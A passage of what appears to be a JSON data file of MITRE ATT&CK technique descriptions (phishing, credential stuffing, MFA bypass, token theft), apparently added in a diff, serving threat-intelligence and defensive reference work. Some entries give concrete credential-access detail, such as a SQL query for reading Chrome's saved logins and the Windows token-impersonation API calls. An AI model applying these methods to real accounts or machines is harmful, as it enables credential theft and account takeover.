may use scare tactics (i.e., threaten repercussions for non-compliance) or otherwise incite victims’ emotions in order to generate a sense of urgency to take action. This technique may include common social engineering patterns such as Phishing and Spearphishing Voice, often supported by convincing and targeted narratives.\nTactics: stealth\nPlatforms: Linux, Office Suite, SaaS, Windows, macOS" + }, + { + "id": "T1657", + "text": "ATT&CK technique: T1657 Financial Theft\nDescription: Adversaries may steal monetary resources from targets through extortion, social engineering, technical theft, or other methods aimed at their own financial gain at the expense of the availability of these resources for victims. Financial theft is the ultimate objective of several popular campaign types including extortion by ransomware, business email compromise (BEC) and fraud, \"pig butchering,\" bank hacking, and exploiting cryptocurrency networks. Adversaries may Compromise Accounts to conduct unauthorized transfers of funds. In the case of business email compromise or email fraud, an adversary may utilize Impersonation of a trusted entity. Once the social engineering is successful, victims can be deceived into sending money to financial accounts controlled by an adversary. This creates the potential for multiple victims (i.e., compromised accounts as well as the ultimate monetary loss) in incidents involving financial theft. Extortion by ransomware may occur, for example, when an adversary demands payment from a victim after Data Encrypted for Impact and Exfiltration of data, followed by threatening to leak sensitive data to the public unless payment is made to the adversary. Adversaries may use dedicated leak sites to distribute victim data. Due to the potentially immense business impact of financial theft, an adversary may abuse the possibility of financial theft and seeking monetary gain to divert attention from their true goals such as Data Destruction and business disruption.\nTactics: impact\nPlatforms: Linux, Office Suite, SaaS, Windows, macOS" + }, + { + "id": "T1586.001", + "text": "ATT&CK technique: T1586.001 Social Media Accounts\nDescription: Adversaries may compromise social media accounts that can be used during targeting. For operations incorporating social engineering, the utilization of an online persona may be important. Rather than creating and cultivating social media profiles (i.e. Social Media Accounts), adversaries may compromise existing social media accounts. Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. A variety of methods exist for compromising social media accounts, such as gathering credentials via Phishing for Information, purchasing credentials from third-party sites, or by brute forcing credentials (ex: password reuse from breach credential dumps). Prior to compromising social media accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. Personas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, etc.). Compromised social media accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos. Adversaries can use a compromised social media profile to create new, or hijack existing, connections to targets of interest. These connections may be direct or may include trying to connect through others. Compromised profiles may be leveraged during other phases of the adversary lifecycle, such as during Initial Access (ex: Spearphishing via Service).\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1534", + "text": "ATT&CK technique: T1534 Internal Spearphishing\nDescription: After they already have access to accounts or systems within the environment, adversaries may use internal spearphishing to gain access to additional information or compromise other users within the same organization. Internal spearphishing is multi-staged campaign where a legitimate account is initially compromised either by controlling the user's device or by compromising the account credentials of the user. Adversaries may then attempt to take advantage of the trusted internal account to increase the likelihood of tricking more victims into falling for phish attempts, often incorporating Impersonation. For example, adversaries may leverage Spearphishing Attachment or Spearphishing Link as part of internal spearphishing to deliver a payload or redirect to an external site to capture credentials through Input Capture on sites that mimic login interfaces. Adversaries may also leverage internal chat apps, such as Microsoft Teams, to spread malicious content or engage users in attempts to capture sensitive information and/or credentials.\nTactics: lateral movement\nPlatforms: Linux, Office Suite, SaaS, Windows, macOS" + }, + { + "id": "T1621", + "text": "ATT&CK technique: T1621 Multi-Factor Authentication Request Generation\nDescription: Adversaries may attempt to bypass multi-factor authentication (MFA) mechanisms and gain access to accounts by generating MFA requests sent to users. Adversaries in possession of credentials to Valid Accounts may be unable to complete the login process if they lack access to the 2FA or MFA mechanisms required as an additional credential and security control. To circumvent this, adversaries may abuse the automatic generation of push notifications to MFA services such as Duo Push, Microsoft Authenticator, Okta, or similar services to have the user grant access to their account. If adversaries lack credentials to victim accounts, they may also abuse automatic push notification generation when this option is configured for self-service password reset (SSPR). In some cases, adversaries may continuously repeat login attempts in order to bombard users with MFA push notifications, SMS messages, and phone calls, potentially resulting in the user finally accepting the authentication request in response to “MFA fatigue.”\nTactics: credential access\nPlatforms: IaaS, Identity Provider, Linux, Office Suite, SaaS, Windows, macOS" + }, + { + "id": "T1593.001", + "text": "ATT&CK technique: T1593.001 Social Media\nDescription: Adversaries may search social media for information about victims that can be used during targeting. Social media sites may contain various information about a victim organization, such as business announcements as well as information about the roles, locations, and interests of staff. Adversaries may search in different social media sites depending on what information they seek to gather. Threat actors may passively harvest data from these sites, as well as use information gathered to create fake profiles/groups to elicit victim’s into revealing specific information (i.e. Spearphishing Service). Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Technical Databases), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Spearphishing via Service).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1588", + "text": "ATT&CK technique: T1588 Obtain Capabilities\nDescription: Adversaries may buy and/or steal capabilities that can be used during targeting. Rather than developing their own capabilities in-house, adversaries may purchase, freely download, or steal them. Activities may include the acquisition of malware, software (including licenses), exploits, certificates, and information relating to vulnerabilities. Adversaries may obtain capabilities to support their operations throughout numerous phases of the adversary lifecycle. In addition to downloading free malware, software, and exploits from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware and exploits, criminal marketplaces, or from individuals. In addition to purchasing capabilities, adversaries may steal capabilities from third-party entities (including other adversaries). This can include stealing software licenses, malware, SSL/TLS and code-signing certificates, or raiding closed databases of vulnerabilities or exploits.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1110.004", + "text": "ATT&CK technique: T1110.004 Credential Stuffing\nDescription: Adversaries may use credentials obtained from breach dumps of unrelated accounts to gain access to target accounts through credential overlap. Occasionally, large numbers of username and password pairs are dumped online when a website or service is compromised and the user account credentials accessed. The information may be useful to an adversary attempting to compromise accounts by taking advantage of the tendency for users to use the same passwords across personal and business accounts. Credential stuffing is a risky option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies. Typically, management services over commonly used ports are used when stuffing credentials. Commonly targeted services include the following: * SSH (22/TCP) * Telnet (23/TCP) * FTP (21/TCP) * NetBIOS / SMB / Samba (139/TCP & 445/TCP) * LDAP (389/TCP) * Kerberos (88/TCP) * RDP / Terminal Services (3389/TCP) * HTTP/HTTP Management Services (80/TCP & 443/TCP) * MSSQL (1433/TCP) * Oracle (1521/TCP) * MySQL (3306/TCP) * VNC (5900/TCP) In addition to management services, adversaries may \"target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,\" as well as externally facing email applications, such as Office 365.\nTactics: credential access\nPlatforms: Containers, ESXi, IaaS, Identity Provider, Linux, Network Devices, Office Suite, SaaS, Windows, macOS" + }, + { + "id": "T1566.002", + "text": "ATT&CK technique: T1566.002 Spearphishing Link\nDescription: Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging User Execution. The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place. Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly. Additionally, adversaries may use seemingly benign links that abuse special characters to mimic legitimate websites (known as an \"IDN homograph attack\"). URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an “@” symbol: for example, `hxxp://google.com@1157586937`. Adversaries may also utilize links to perform consent phishing/spearphishing campaigns to Steal Application Access Tokens that grant immediate access to the victim environment. For example, a user may be lured into granting adversaries permissions/access via a malicious OAuth 2.0 request URL that when accepted by the user provide permissions/access for malicious applications. These stolen access tokens allow the adversary to perform various actions on behalf of the user via API calls. Similarly, malicious links may also target device-based authorization, such as OAuth 2.0 device authorization grant flow which is typically used to authenticate devices without UIs/browsers. Known as “device code phishing,” an adversary may send a link that directs the victim to a malicious authorization page where the user is tricked into entering a code/credentials that produces a device token.\nTactics: initial access\nPlatforms: Identity Provider, Linux, Office Suite, SaaS, Windows, macOS" + }, + { + "id": "T1213.004", + "text": "ATT&CK technique: T1213.004 Customer Relationship Management Software\nDescription: Adversaries may leverage Customer Relationship Management (CRM) software to mine valuable information. CRM software is used to assist organizations in tracking and managing customer interactions, as well as storing customer data. Once adversaries gain access to a victim organization, they may mine CRM software for customer data. This may include personally identifiable information (PII) such as full names, emails, phone numbers, and addresses, as well as additional details such as purchase histories and IT support interactions. By collecting this data, an adversary may be able to send personalized Phishing emails, engage in SIM swapping, or otherwise target the organization’s customers in ways that enable financial gain or the compromise of additional organizations. CRM software may be hosted on-premises or in the cloud. Information stored in these solutions may vary based on the specific instance or environment. Examples of CRM software include Microsoft Dynamics 365, Salesforce, Zoho, Zendesk, and HubSpot.\nTactics: collection\nPlatforms: SaaS" + }, + { + "id": "T1098.005", + "text": "ATT&CK technique: T1098.005 Device Registration\nDescription: Adversaries may register a device to an adversary-controlled account. Devices may be registered in a multifactor authentication (MFA) system, which handles authentication to the network, or in a device management system, which handles device access and compliance. MFA systems, such as Duo or Okta, allow users to associate devices with their accounts in order to complete MFA requirements. An adversary that compromises a user’s credentials may enroll a new device in order to bypass initial MFA requirements and gain persistent access to a network. In some cases, the MFA self-enrollment process may require only a username and password to enroll the account's first device or to enroll a device to an inactive account. Similarly, an adversary with existing access to a network may register a device or a virtual machine to Entra ID and/or its device management system, Microsoft Intune, in order to access sensitive data or resources while bypassing conditional access policies. Devices registered in Entra ID may be able to conduct Internal Spearphishing campaigns via intra-organizational emails, which are less likely to be treated as suspicious by the email client. Additionally, an adversary may be able to perform a Service Exhaustion Flood on an Entra ID tenant by registering a large number of devices.\nTactics: persistence, privilege escalation\nPlatforms: Identity Provider, Windows" + }, + { + "id": "T1586.002", + "text": "ATT&CK technique: T1586.002 Email Accounts\nDescription: Adversaries may compromise email accounts that can be used during targeting. Adversaries can use compromised email accounts to further their operations, such as leveraging them to conduct Phishing for Information, Phishing, or large-scale spam email campaigns. Utilizing an existing persona with a compromised email account may engender a level of trust in a potential victim if they have a relationship with, or knowledge of, the compromised persona. Compromised email accounts can also be used in the acquisition of infrastructure (ex: Domains). A variety of methods exist for compromising email accounts, such as gathering credentials via Phishing for Information, purchasing credentials from third-party sites, brute forcing credentials (ex: password reuse from breach credential dumps), or paying employees, suppliers or business partners for access to credentials. Prior to compromising email accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. Adversaries may target compromising well-known email accounts or domains from which malicious spam or Phishing emails may evade reputation-based email filtering rules. Adversaries can use a compromised email account to hijack existing email threads with targets of interest.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1550.004", + "text": "ATT&CK technique: T1550.004 Web Session Cookie\nDescription: Adversaries can use stolen session cookies to authenticate to web applications and services. This technique bypasses some multi-factor authentication protocols since the session is already authenticated. Authentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so credentials are not passed and re-authentication does not need to occur as frequently. Cookies are often valid for an extended period of time, even if the web application is not actively used. After the cookie is obtained through Steal Web Session Cookie or Web Cookies, the adversary may then import the cookie into a browser they control and is then able to use the site or application as the user for as long as the session cookie is active. Once logged into the site, an adversary can access sensitive information, read email, or perform actions that the victim account has permissions to perform. There have been examples of malware targeting session cookies to bypass multi-factor authentication systems.\nTactics: lateral movement\nPlatforms: IaaS, Office Suite, SaaS" + }, + { + "id": "T1608.005", + "text": "ATT&CK technique: T1608.005 Link Target\nDescription: Adversaries may put in place resources that are referenced by a link that can be used during targeting. An adversary may rely upon a user clicking a malicious link in order to divulge information (including credentials) or to gain execution, as in Malicious Link. Links can be used for spearphishing, such as sending an email accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. Prior to a phish for information (as in Spearphishing Link) or a phish to gain initial access to a system (as in Spearphishing Link), an adversary must set up the resources for a link target for the spearphishing link. Typically, the resources for a link target will be an HTML page that may include some client-side script such as JavaScript to decide what content to serve to the user. Adversaries may clone legitimate sites to serve as the link target, this can include cloning of login pages of legitimate web services or organization login pages in an effort to harvest credentials during Spearphishing Link. Adversaries may also Upload Malware and have the link target point to malware for download/execution by the user. Adversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure (Domains) to help facilitate Malicious Link. Links can be written by adversaries to mask the true destination in order to deceive victims by abusing the URL schema and increasing the effectiveness of phishing. Adversaries may also use free or paid accounts on link shortening services and Platform-as-a-Service providers to host link targets while taking advantage of the widely trusted domains of those providers to avoid being blocked while redirecting victims to malicious pages. In addition, adversaries may serve a variety of malicious links through uniquely generated URIs/URLs (including one-time, single use links). Finally, adversaries may take advantage of the decentralized nature of the InterPlanetary File System (IPFS) to host link targets that are difficult to remove.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1550.001", + "text": "ATT&CK technique: T1550.001 Application Access Token\nDescription: Adversaries may use stolen application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. These tokens are typically stolen from users or services and used in lieu of login credentials. Application access tokens are used to make authorized API requests on behalf of a user or service and are commonly used to access resources in cloud, container-based applications, and software-as-a-service (SaaS). OAuth is one commonly implemented framework that issues tokens to users for access to systems. These frameworks are used collaboratively to verify the user and determine what actions the user is allowed to perform. Once identity is established, the token allows actions to be authorized, without passing the actual credentials of the user. Therefore, compromise of the token can grant the adversary access to resources of other sites through a malicious application. For example, with a cloud-based email service, once an OAuth access token is granted to a malicious application, it can potentially gain long-term access to features of the user account if a \"refresh\" token enabling background access is awarded. With an OAuth access token an adversary can use the user-granted REST API to perform functions such as email searching and contact enumeration. Compromised access tokens may be used as an initial step in compromising other services. For example, if a token grants access to a victim’s primary email, the adversary may be able to extend access to all other services which the target subscribes by triggering forgotten password routines. In AWS and GCP environments, adversaries can trigger a request for a short-lived access token with the privileges of another user account. The adversary can then use this token to request data or perform actions the original account could not. If permissions for this feature are misconfigured – for example, by allowing all users to request a token for a particular account - an adversary may be able to gain initial access to a Cloud Account or escalate their privileges. Direct API access through a token negates the effectiveness of a second authentication factor and may be immune to intuitive countermeasures like changing passwords. For example, in AWS environments, an adversary who compromises a user’s AWS API credentials may be able to use the `sts:GetFederationToken` API call to create a federated user session, which will have the same permissions as the original user but may persist even if the original user credentials are deactivated. Additionally, access abuse over an API channel can be difficult to detect even from the service provider end, as the access can still align well with a legitimate workflow.\nTactics: lateral movement\nPlatforms: Containers, IaaS, Identity Provider, Office Suite, SaaS" + }, + { + "id": "T1591.004", + "text": "ATT&CK technique: T1591.004 Identify Roles\nDescription: Adversaries may gather information about identities and roles within the victim organization that can be used during targeting. Information about business roles may reveal a variety of targetable details, including identifiable information for key personnel as well as what data/resources they have access to. Adversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about business roles may also be exposed to adversaries via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Phishing).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1683.001", + "text": "ATT&CK technique: T1683.001 Written Content\nDescription: Adversaries may create or tailor written materials to support targeting and malicious operations. Content may include phishing lures, fraudulent financial communications, fabricated job postings, fabricated employment credentials and documentation, decoy documents, social media persona content, and supporting narratives used to sustain fabricated personas over time. Content may be authored manually, commissioned through third parties, or produced using AI-assisted tools. Written materials may impersonate legitimate government correspondence, diplomatic communications, or internal organizational documents to support targeting efforts. AI-assisted tools may also be used to tailor content to specific targets, industries, or regions. For example, adversaries may leverage AI to translate content into a target's native language or mimic the communication style of trusted senders. Written content produced through these methods may be used in support of other techniques, such as Phishing, Spearphishing via Service, Phishing for Information, Internal Spearphishing, Social Engineering, Financial Theft, or Establish Accounts. Written content does not include malicious code or scripts; for development of malicious code and scripts, see Develop Capabilities.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1204.002", + "text": "ATT&CK technique: T1204.002 Malicious File\nDescription: An adversary may rely upon a user opening a malicious file in order to gain execution. Users may be subjected to social engineering to get them to open a file that will lead to code execution. This user action will typically be observed as follow-on behavior from Spearphishing Attachment. Adversaries may use several types of files that require a user to execute them, including .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, .cpl, .reg, and .iso. Adversaries may employ various forms of Masquerading and Obfuscated Files or Information to increase the likelihood that a user will open and successfully execute a malicious file. These methods may include using a familiar naming convention and/or password protecting the file and supplying instructions to a user on how to open it. While Malicious File frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after Internal Spearphishing.\nTactics: execution\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1556.006", + "text": "ATT&CK technique: T1556.006 Multi-Factor Authentication\nDescription: Adversaries may disable or modify multi-factor authentication (MFA) mechanisms to enable persistent access to compromised accounts. Once adversaries have gained access to a network by either compromising an account lacking MFA or by employing an MFA bypass method such as Multi-Factor Authentication Request Generation, adversaries may leverage their access to modify or completely disable MFA defenses. This can be accomplished by abusing legitimate features, such as excluding users from Azure AD Conditional Access Policies, registering a new yet vulnerable/adversary-controlled MFA method, or by manually patching MFA programs and configuration files to bypass expected functionality. For example, modifying the Windows hosts file (`C:\\windows\\system32\\drivers\\etc\\hosts`) to redirect MFA calls to localhost instead of an MFA server may cause the MFA process to fail. If a \"fail open\" policy is in place, any otherwise successful authentication attempt may be granted access without enforcing MFA. Depending on the scope, goals, and privileges of the adversary, MFA defenses may be disabled for individual accounts or for all accounts tied to a larger group, such as all domain accounts in a victim's network environment.\nTactics: credential access, defense impairment, persistence\nPlatforms: IaaS, Identity Provider, Linux, Office Suite, SaaS, Windows, macOS" + }, + { + "id": "T1566.003", + "text": "ATT&CK technique: T1566.003 Spearphishing via Service\nDescription: Adversaries may send spearphishing messages via third-party services in an attempt to gain access to victim systems. Spearphishing via service is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of third party services rather than directly via enterprise email channels. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services. These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries will create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and software that's running in an environment. The adversary can then send malicious links or attachments through these services. A common example is to build rapport with a target via social media, then send content to a personal webmail service that the target uses on their work computer. This allows an adversary to bypass some email restrictions on the work account, and the target is more likely to open the file since it's something they were expecting. If the payload doesn't work as expected, the adversary can continue normal communications and troubleshoot with the target on how to get it working.\nTactics: initial access\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1552.008", + "text": "ATT&CK technique: T1552.008 Chat Messages\nDescription: Adversaries may directly collect unsecured credentials stored or passed through user communication services. Credentials may be sent and stored in user chat communication applications such as email, chat services like Slack or Teams, collaboration tools like Jira or Trello, and any other services that support user communication. Users may share various forms of credentials (such as usernames and passwords, API keys, or authentication tokens) on private or public corporate internal communications channels. Rather than accessing the stored chat logs (i.e., Credentials In Files), adversaries may directly access credentials within these services on the user endpoint, through servers hosting the services, or through administrator portals for cloud hosted services. Adversaries may also compromise integration tools like Slack Workflows to automatically search through messages to extract user credentials. These credentials may then be abused to perform follow-on activities such as lateral movement or privilege escalation .\nTactics: credential access\nPlatforms: Office Suite, SaaS" + }, + { + "id": "T1134.001", + "text": "ATT&CK technique: T1134.001 Token Impersonation/Theft\nDescription: Adversaries may duplicate then impersonate another user's existing token to escalate privileges and bypass access controls. For example, an adversary can duplicate an existing token using `DuplicateToken` or `DuplicateTokenEx`. The token can then be used with `ImpersonateLoggedOnUser` to allow the calling thread to impersonate a logged on user's security context, or with `SetThreadToken` to assign the impersonated token to a thread. An adversary may perform Token Impersonation/Theft when they have a specific, existing process they want to assign the duplicated token to. For example, this may be useful for when the target user has a non-network logon session on the system. When an adversary would instead use a duplicated token to create a new process rather than attaching to an existing process, they can additionally Create Process with Token using `CreateProcessWithTokenW` or `CreateProcessAsUserW`. Token Impersonation/Theft is also distinct from Make and Impersonate Token in that it refers to duplicating an existing token, rather than creating a new one.\nTactics: privilege escalation, stealth\nPlatforms: Windows" + }, + { + "id": "T1134.003", + "text": "ATT&CK technique: T1134.003 Make and Impersonate Token\nDescription: Adversaries may make new tokens and impersonate users to escalate privileges and bypass access controls. For example, if an adversary has a username and password but the user is not logged onto the system the adversary can then create a logon session for the user using the `LogonUser` function. The function will return a copy of the new session's access token and the adversary can use `SetThreadToken` to assign the token to a thread. This behavior is distinct from Token Impersonation/Theft in that this refers to creating a new user token instead of stealing or duplicating an existing one.\nTactics: privilege escalation, stealth\nPlatforms: Windows" + }, + { + "id": "T1056.003", + "text": "ATT&CK technique: T1056.003 Web Portal Capture\nDescription: Adversaries may install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. For example, a compromised login page may log provided user credentials before logging the user in to the service. This variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through External Remote Services and Valid Accounts or as part of the initial compromise by exploitation of the externally facing web service.\nTactics: collection, credential access\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1550", + "text": "ATT&CK technique: T1550 Use Alternate Authentication Material\nDescription: Adversaries may use alternate authentication material, such as password hashes, Kerberos tickets, and application access tokens, in order to move laterally within an environment and bypass normal system access controls. Authentication processes generally require a valid identity (e.g., username) along with one or more authentication factors (e.g., password, pin, physical smart card, token generator, etc.). Alternate authentication material is legitimately generated by systems after a user or application successfully authenticates by providing a valid identity and the required authentication factor(s). Alternate authentication material may also be generated during the identity creation process. Caching alternate authentication material allows the system to verify an identity has successfully authenticated without asking the user to reenter authentication factor(s). Because the alternate authentication must be maintained by the system—either in memory or on disk—it may be at risk of being stolen through Credential Access techniques. By stealing alternate authentication material, adversaries are able to bypass system access controls and authenticate to systems without knowing the plaintext password or any additional authentication factors.\nTactics: lateral movement\nPlatforms: Containers, IaaS, Identity Provider, Linux, Office Suite, SaaS, Windows" + }, + { + "id": "T1555.003", + "text": "ATT&CK technique: T1555.003 Credentials from Web Browsers\nDescription: Adversaries may acquire credentials from web browsers by reading files specific to the target browser. Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers. For example, on Windows systems, encrypted credentials may be obtained from Google Chrome by reading a database file, AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data and executing a SQL query: SELECT action_url, username_value, password_value FROM logins;. The plaintext password can then be obtained by passing the encrypted credentials to the Windows API function CryptUnprotectData, which uses the victim’s cached logon credentials as the decryption key. Adversaries have executed similar procedures for common web browsers such as FireFox, Safari, Edge, etc. Windows stores Internet Explorer and Microsoft Edge credentials in Credential Lockers managed by the Windows Credential Manager. Adversaries may also acquire credentials by searching web browser process memory for patterns that commonly match credentials. After acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access. This can result in significantly furthering an adversary's objective in cases where credentials gained from web browsers overlap with privileged accounts (e.g. domain administrator).\nTactics: credential access\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1566.001", + "text": "ATT&CK technique: T1566.001 Spearphishing Attachment\nDescription: Adversaries may send spearphishing emails with a malicious attachment in an attempt to gain access to victim systems. Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon User Execution to gain execution. Spearphishing may also involve social engineering techniques, such as posing as a trusted source. There are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment (and potentially clicking past protections), the adversary's payload exploits a vulnerability or directly executes on the user's system. The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. Adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one.\nTactics: initial access\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1588.005", + "text": "ATT&CK technique: T1588.005 Exploits\nDescription: Adversaries may buy, steal, or download exploits that can be used during targeting. An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. Rather than developing their own exploits, an adversary may find/modify exploits from online or purchase them from exploit vendors. In addition to downloading free exploits from the internet, adversaries may purchase exploits from third-party entities. Third-party entities can include technology companies that specialize in exploit development, criminal marketplaces (including exploit kits), or from individuals. In addition to purchasing exploits, adversaries may steal and repurpose exploits from third-party entities (including other adversaries). An adversary may monitor exploit provider forums to understand the state of existing, as well as newly discovered, exploits. There is usually a delay between when an exploit is discovered and when it is made public. An adversary may target the systems of those known to conduct exploit research and development in order to gain that knowledge for use during a subsequent operation. Adversaries may use exploits during various phases of the adversary lifecycle (i.e. Exploit Public-Facing Application, Exploitation for Client Execution, Exploitation for Privilege Escalation, Exploitation for Stealth, Exploitation for Credential Access, Exploitation of Remote Services, and Application or System Exploitation).\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1597.002", + "text": "ATT&CK technique: T1597.002 Purchase Technical Data\nDescription: Adversaries may purchase technical information about victims that can be used during targeting. Information about victims may be available for purchase within reputable private sources and databases, such as paid subscriptions to feeds of scan databases or other data aggregation services. Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets. Adversaries may purchase information about their already identified targets, or use purchased data to discover opportunities for successful breaches. Threat actors may gather various technical details from purchased data, including but not limited to employee contact information, credentials, or specifics regarding a victim’s infrastructure. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: External Remote Services or Valid Accounts).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1591", + "text": "ATT&CK technique: T1591 Gather Victim Org Information\nDescription: Adversaries may gather information about the victim's organization that can be used during targeting. Information about an organization may include a variety of details, including the names of divisions/departments, specifics of business operations, as well as the roles and responsibilities of key employees. Adversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about an organization may also be exposed to adversaries via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Phishing or Trusted Relationship).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1593.002", + "text": "ATT&CK technique: T1593.002 Search Engines\nDescription: Adversaries may use search engines to collect information about victims that can be used during targeting. Search engine services typical crawl online sites to index context and may provide users with specialized syntax to search for specific keywords or specific types of content (i.e. filetypes). Adversaries may craft various search engine queries depending on what information they seek to gather. Threat actors may use search engines to harvest general information about victims, as well as use specialized queries to look for spillages/leaks of sensitive information such as network details or credentials. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Technical Databases), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Valid Accounts or Phishing).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1087", + "text": "ATT&CK technique: T1087 Account Discovery\nDescription: Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts). Adversaries may use several methods to enumerate accounts, including abuse of existing tools, built-in commands, and potential misconfigurations that leak account names and roles or permissions in the targeted environment. For examples, cloud environments typically provide easily accessible interfaces to obtain user lists. On hosts, adversaries can use default PowerShell and other command line functionality to identify accounts. Information about email addresses and accounts may also be extracted by searching an infected system’s files.\nTactics: discovery\nPlatforms: ESXi, IaaS, Identity Provider, Linux, Office Suite, SaaS, Windows, macOS" + }, + { + "id": "T1588.001", + "text": "ATT&CK technique: T1588.001 Malware\nDescription: Adversaries may buy, steal, or download malware that can be used during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, packers, and C2 protocols. Adversaries may acquire malware to support their operations, obtaining a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors. In addition to downloading free malware from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware development, criminal marketplaces (including Malware-as-a-Service, or MaaS), or from individuals. In addition to purchasing malware, adversaries may steal and repurpose malware from third-party entities (including other adversaries).\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1585.002", + "text": "ATT&CK technique: T1585.002 Email Accounts\nDescription: Adversaries may create email accounts that can be used during targeting. Adversaries can use accounts created with email providers to further their operations, such as leveraging them to conduct Phishing for Information or Phishing. Establishing email accounts may also allow adversaries to abuse free services – such as trial periods – to Acquire Infrastructure for follow-on purposes. Adversaries may also take steps to cultivate a persona around the email account, such as through use of Social Media Accounts, to increase the chance of success of follow-on behaviors. Created email accounts can also be used in the acquisition of infrastructure (ex: Domains). To decrease the chance of physically tying back operations to themselves, adversaries may make use of disposable email services.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1056.002", + "text": "ATT&CK technique: T1056.002 GUI Input Capture\nDescription: Adversaries may mimic common operating system GUI components to prompt users for credentials with a seemingly legitimate prompt. When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges 